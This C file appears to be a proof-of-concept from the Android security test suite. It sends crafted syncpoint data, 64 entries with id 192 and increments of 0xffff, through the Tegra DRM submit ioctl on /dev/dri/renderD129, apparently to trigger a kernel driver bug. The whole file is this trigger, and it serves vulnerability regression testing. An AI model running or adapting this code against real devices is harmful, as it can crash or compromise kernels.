/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>

#include "local_pwn.h"

#define DEV "/dev/dri/renderD129"
#define SYN_NUM 64

struct drm_tegra_open_channel open_c = { 0 };
struct drm_tegra_submit submit_c = { 0 };
struct drm_tegra_syncpt syncpts[SYN_NUM] = { 0 };

int main()
{
	int ret;
	int dev_fd;
	int i;

	/* open dev */
	dev_fd = open(DEV,O_RDONLY);
	if(dev_fd == -1){
		printf("[-] open dev failed %d %s\n", errno, strerror(errno));
		return 0;
	}
	
	/* prepare for ioctl */
	open_c.client = HOST1X_CLASS_VIC;
	submit_c.num_syncpts = SYN_NUM;
	submit_c.syncpts = (__u64)syncpts;

	for(i = 1; i < SYN_NUM; i++){
		syncpts[i].id = 192;
		syncpts[i].incrs = 0xffff;
	}

	/* open channel */
	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
	if(ret == -1){
		printf("[-] open_channel failed %d %s\n", errno, strerror(errno));
		goto out_dev;
	}
	submit_c.context = open_c.context;
	printf("[+] call submit\n");
	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
	printf("[+] submit return %d\n", ret);
	
out_dev:
	close(dev_fd);
	return 0;
}